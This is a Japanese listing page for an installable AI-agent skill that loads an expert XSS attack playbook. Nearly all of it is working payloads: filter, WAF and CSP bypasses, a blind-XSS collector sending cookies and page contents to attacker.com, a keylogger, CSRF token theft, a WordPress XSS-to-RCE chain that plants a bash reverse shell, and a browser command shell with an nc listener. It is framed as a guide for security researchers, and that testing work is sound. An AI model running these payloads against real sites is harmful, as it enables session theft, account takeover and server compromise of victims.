xss-cross-site-scripting について
セキュリティ研究者向けの高度な XSS 手引きです。コンテキストに応じた検証、フィルターや CSP の回避、侵入後の手法を扱い、別資料で追加のシナリオや技術を説明します。
主な機能
- 01コンテキスト別のペイロード選択
- 02複数箇所への反射と格納型 XSS
- 03CSP とフィルターの回避手法
- 04ブラインド XSS のテスト
- 05侵入後の手法
活用シーン
- 01Web ページの反射入力を評価
- 02管理画面で格納データをテスト
- 03CSP 制約下の注入を調査
- 04ブラインド XSS の有無を確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill xss-cross-site-scriptingインストール後、Claude Code で/xss-cross-site-scriptingを入力して読み込まれたか確認します。
同梱ファイルADVANCED_XSS_TRICKS.mdSCENARIOS.md
詳細
スキル:クロスサイトスクリプティング(XSS)— エキスパート向け攻撃プレイブック
AI 読み込み指示:このスキルでは、一般には知られていない XSS 手法、コンテキストに応じたペイロードの選択、WAF の回避、CSP の回避、侵害後の活動について説明します。読者はすでに
<script>alert(1)</script>を理解しているものとします。このファイルでは、基本的なモデルが通常見落とす内容のみを扱います。実際の CVE 事例、HttpOnly の回避戦略、XS-Leaks のサイドチャネル、セッション固定攻撃については、関連する SCENARIOS.md を読み込んでください。
0. 関連するルーティング
拡張シナリオ
次の内容が必要な場合は、SCENARIOS.md も読み込んでください。
- Django デバッグページの XSS(CVE-2017-12794)— 重複キーエラー → エスケープされていない例外 → XSS
- レガシー IE 環境向けの UTF-7 XSS(
+ADw-script+AD4-) - HttpOnly 回避の手法 — ブラウザーのプロキシ、セッションライディング、XSS 経由の CSRF
- XS-Leaks のサイドチャネル攻撃 — タイミングオラクル、キャッシュの調査、
performance.now()による計測 - XSS を介したセッション固定 — 被害者のログイン前にセッション ID を設定
- CSP 制限環境向けの DOM クラバリング手法
高度なテクニック
次の内容が必要な場合は、ADVANCED_XSS_TRICKS.md も読み込んでください。
- mXSS / DOMPurify の回避 — 名前空間の混同、
<noscript>の解析差異、フォーム/テーブルの再構成 - DOM クラバリング —
id/nameによるプロパティの上書き、HTMLCollection、深いプロパティチェーン - 最新のフレームワークにおける XSS — React の
dangerouslySetInnerHTML、Vue のv-html、Angular のbypassSecurityTrust*、Next.js SSR - Trusted Types の回避 — デフォルトポリシーの悪用、非 TT シンク、ポリシーのパススルー
- Service Worker による XSS の永続化 — 悪意のある SW の登録、フェッチの傍受、パッチ適用後の存続
- PDF/SVG/MathML の XSS ベクター、ポリグロットペイロード、ブラウザー固有のテクニック
- XS-Leaks とサイドチャネル — タイミングオラクル、フレーム数の計測、キャッシュの調査、エラーイベントオラクル
ペイロードを広範囲に試す前に、まず次を読み込むことができます。
- アップロードの全経路(検証、保存、プレビュー、共有の動作)が必要な場合は、upload insecure files
コンテキスト別のクイック選択
| コンテキスト | 最初に試すもの | 代替 |
|---|---|---|
| HTML 本文 | <svg onload=alert(1)> | <img src=1 onerror=alert(1)> |
| 引用符付き属性 | " autofocus onfocus=alert(1)// | " onmouseover=alert(1)// |
| JavaScript 文字列 | '-alert(1)-' | '</script><svg onload=alert(1)> |
| URL/href シンク | javascript:alert(1) | data:text/html,<svg onload=alert(1)> |
title などのタグ本文 | </title><svg onload=alert(1)> | </textarea><svg onload=alert(1)> |
| SVG/XML シンク | <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/> | XHTML 名前空間ペイロード |
<svg onload=alert(1)>
<img src=1 onerror=alert(1)>
" autofocus onfocus=alert(1)//
'</script><svg onload=alert(1)>
javascript:alert(1)
data:text/html,<svg onload=alert(1)>
1. インジェクションコンテキストの一覧
ペイロードを選ぶ前にコンテキストを特定してください。コンテキストを間違えると、試行が無駄になります。
| コンテキスト | 識別方法 | 開始方法 | ペイロード |
|---|---|---|---|
| タグ外の HTML | <b>INPUT</b> | <svg onload= | <svg onload=alert(1)> |
| HTML 属性値 | value="INPUT" | " で属性を閉じる | "onmouseover=alert(1)// |
| タグを閉じないインライン属性 | 引用符付き、> が除去される | イベントをインジェクション | "autofocus onfocus=alert(1)// |
| ブロックタグ(title/script/textarea) | <title>INPUT</title> | まずタグを閉じる | </title><svg onload=alert(1)> |
| href/src/data/action | リンクまたはフォーム | プロトコル | javascript:alert(1) |
| JavaScript 文字列(シングルクォート) | var x='INPUT' | 文字列を抜ける | '-alert(1)-' または '-alert(1)// |
| エスケープされた JavaScript 文字列 | バックスラッシュによるエスケープ | 二重エスケープ | \'-alert(1)// |
| JavaScript の論理ブロック | if/関数内 | 閉じてからインジェクション | '}alert(1);{' |
| ページ上の任意の JavaScript | <script>...INPUT | script を抜ける | </script><svg onload=alert(1)> |
XML ページ(text/xml) | XML の content-type | XML 名前空間 | <x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script> |
2. 複数箇所への反映を利用した攻撃
入力が同じページの複数箇所に反映される場合、1 つのペイロードですべての箇所から実行できます。
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='
p=<svg/1='&q='onload=alert(1)>
3. 高度なインジェクションベクター
DOM 挿入インジェクション(反射がソースではなく DOM にある場合)
.innerHTML、document.write、jQuery の .html() を介して入力が挿入されます:
<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>
URL で制御されるリソース挿入の場合:
data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>
PHP_SELF パスインジェクション
URL 自体がフォームの action に反映される場合:
https://target.com/page.php/"><svg onload=alert(1)>?param=val
先頭に / を付けて、.php と ? の間にインジェクションします。
ファイルアップロード XSS
ファイル名インジェクション(ファイル名が反映される場合):
"><svg onload=alert(1)>.gif
SVG アップロード(SVG を受け付ける画像アップロードを介した格納型 XSS):
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
メタデータインジェクション(EXIF が反映される場合):
exiftool -Artist='"><svg onload=alert(1)>' photo.jpeg
postMessage XSS(オリジンチェックなし)
オリジン検証なしで window.addEventListener('message', ...) があるページの場合:
<iframe src="TARGET_URL" onload="frames[0].postMessage('INJECTION','*')">
postMessage オリジンバイパス
オリジンがチェックされているものの、.includes() またはプレフィックス一致を使用している場合:
http://facebook.com.ATTACKER.com/crosspwn.php?target=//victim.com/page&msg=<script>alert(1)</script>
攻撃者は facebook.com.ATTACKER.com サブドメインを制御します。
XML ベースの XSS
レスポンスが text/xml または application/xml の場合:
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//attacker.com/1.js"/>
閉じタグを使わないスクリプトインジェクション
ページの後方に </script> タグがある場合:
<script src=data:,alert(1)>
<script src=//attacker.com/1.js>
4. CSP バイパステクニック
JSONP エンドポイントのバイパス(許可リストのドメインに JSONP がある場合)
<script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1);">
</script>
AngularJS CDN のバイパス(許可リストに ajax.googleapis.com がある場合)
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js"></script>
<x ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</x>
Angular 式(サーバーが HTML をエンコードするものの、AngularJS が評価する場合)
ページ上で {{1+1}} が 2 と評価される場合 — CSTI の典型的な兆候です:
// Angular 1.x sandbox escape:
{{constructor.constructor('alert(1)')()}}
// Angular 1.5.x:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
base-uri インジェクション(CSP に base-uri 制限がない場合)
<base href="https://attacker.com/">
相対パスの <script src=...> は攻撃者のサーバーから読み込まれます。
ダングリングマークアップを介した DOM ベースの攻撃
CSP がスクリプトをブロックするものの、img は許可している場合:
<img src='https://attacker.com/log?
後続のページコンテンツを攻撃者に漏えいさせます。
5. フィルターと WAF のバイパス
パラメーター名攻撃(WAF が値をチェックし、名前をチェックしない場合)
パラメーター名が反映される場合(例:JSON 出力内):
?"></script><base%20c%3D=href%3Dhttps:\mysite>
ペイロードは値ではなく、パラメーター名です。
エンコードの連鎖
%253C → double-encoded <
%26lt; → HTML entity double-encoding
<%00h2 → null byte injection
%0d%0a → CRLF inside tag
テスト手順:反射 → エンコードの挙動 → フィルターロジックの特定 → 変更。
タグの変異(ブラックリストのバイパス)
<ScRipt> ← case variation
</script/x> ← trailing garbage
<script ← incomplete (relies on later >)
<%00iframe ← null byte
<svg/onload= ← slash instead of space
分割インジェクション(タグ除去のバイパス)
フィルターが <x>...</x> を除去する場合:
"o<x>nmouseover=alert<x>(1)//
"autof<x>ocus o<x>nfocus=alert<x>(1)//
イベントハンドラーを使わないベクター
<form action=javascript:alert(1)><input type=submit>
<form><button formaction=javascript:alert(1)>click
<isindex action=javascript:alert(1) type=submit value=click>
<object data=javascript:alert(1)>
<iframe srcdoc=<svg/onload=alert(1)>>
<math><brute href=javascript:alert(1)>click
6. セカンドオーダー XSS
定義:入力が保存され(多くの場合、正規化または HTML エンコードされます)、後で再取得されて、再エンコードされずに DOM に挿入されます。
典型的なトリガーペイロード(即時の HTML エンコードをバイパス):
<svg/onload=alert(1)>
確認箇所:プロフィール欄、表示名、フォーラム投稿など、データが保存された後、異なるコンテキスト(例:管理パネルとユーザー向け画面)で再レンダリングされる場所を確認します。
格納型 → 管理者コンテキストの XSS:最も影響が大きい攻撃です — 細工したユーザー名で登録し、管理者がユーザー一覧を表示するのを待ちます。
7. ブラインド XSS の手法
すぐには反映されないすべてのパラメーターで、ブラインド XSS をテストする必要があります:
- お問い合わせフォーム、フィードバック欄
- User-Agent / Referer
- 登録欄
- エラーログへのインジェクション
ブラインド XSS コールバックペイロード(リモート JS ファイルを使う方法):
"><script src=//attacker.com/bxss.js></script>
最小限のコレクター(bxss.js でホスト):
var d = document;
var msg = 'URL: '+d.URL+'\nCOOKIE: '+d.cookie+'\nDOM:\n'+d.documentElement.innerHTML;
fetch('https://attacker.com/collect?'+encodeURIComponent(msg));
自動収集には XSS Hunter または同様のブラインド XSS プラットフォームを使用します。
8. XSS のエクスプロイトチェーン
Cookie の窃取
fetch('//attacker.com/?c='+document.cookie)
// HttpOnly protected cookies → not stealable via JS, need CSRF or session fixation instead
キーロガー
document.onkeypress = function(e) {
fetch('//attacker.com/k?k='+encodeURIComponent(e.key));
}
XSS を介した CSRF(CSRF 保護をバイパスし、DOM から CSRF トークンを読み取る)
var r = new XMLHttpRequest();
r.open('GET', '/account/settings', false);
r.send();
var token = /csrf_token['":\s]+([^'"<\s]+)/.exec(r.responseText)[1];
var f = new XMLHttpRequest();
f.open('POST', '/account/email/change', true);
f.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
f.send('[email protected]&csrf='+token);
WordPress XSS → RCE(管理者セッション + Hello Dolly プラグイン):
p = '/wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '<?=`bash -i >& /dev/tcp/ATTACKER/4444 0>&1`;?>';
a = new XMLHttpRequest();
a.open('GET', p+q, 0); a.send();
$ = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
'&newcontent=' + encodeURIComponent(s) + '&action=update&' + q;
b = new XMLHttpRequest();
b.open('POST', p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send($);
b.onreadystatechange = function(){ if(this.readyState==4) fetch('/wp-content/plugins/hello.php'); }
ブラウザーのリモート操作(JS コマンドシェル)
// Injected into victim:
setInterval(function(){
with(document)body.appendChild(createElement('script')).src='//ATTACKER:5855'
},100)
# Attacker listener:
while :; do printf "j$ "; read c; echo $c | nc -lp 5855 >/dev/null; done
9. 判断ツリー
Test XSS entry point
├── Input reflected in response?
│ ├── YES → Identify context (HTML / JS / attr / URL)
│ │ → Select context-appropriate payload
│ │ → If blocked → check filter behavior
│ │ │ → Try encoding, case mutation, fragmentation
│ │ │ → Check if parameter NAME is reflected (WAF gap)
│ │ └── Success → escalate (cookie steal / CSRF / RCE)
│ └── NO → Is it stored? → Inject blind XSS payload
│ Is it in DOM? → Check JS source for unsafe sinks
│ (innerHTML, eval, document.write, location.href)
└── CSP present?
├── Check for JSONP endpoints on allow-listed domains
├── Check for AngularJS on CDN allow-list
├── Check for base-uri missing → <base> injection
└── Check for unsafe-eval or unsafe-inline exceptions
10. XSS テストプロセス(ZSEANO メソッド)
- Step 1 — 悪意のないタグをテストします:
<h2>、<img>、<table>。そのまま反映されますか? - Step 2 — 不完全なタグをテストします:
<iframe src=//attacker.com/c=(閉じる>なし) - Step 3 — エンコーディングのプローブ:
<%00h2、%0d、%0a、%09、%253C - Step 4 —
<script>とonerrorはフィルタリングされるが、<script(閉じタグなし)はフィルタリングされない場合:<script src=//attacker.com?c= - Step 5 — ブラックリストを確認します:
<svg>は動作しますか?<ScRiPt>は動作しますか? - 注:同じフィルターがほかの場所にも存在する可能性が高いです。検索で
<script>をフィルタリングしている場合、ファイルアップロードのファイル名やプロフィールの自己紹介でもフィルタリングしていますか?
重要な洞察:フィルターが存在するということは、脆弱性があり、開発者がパッチを試みたということです。アプリケーション全体でその手掛かりを追ってください。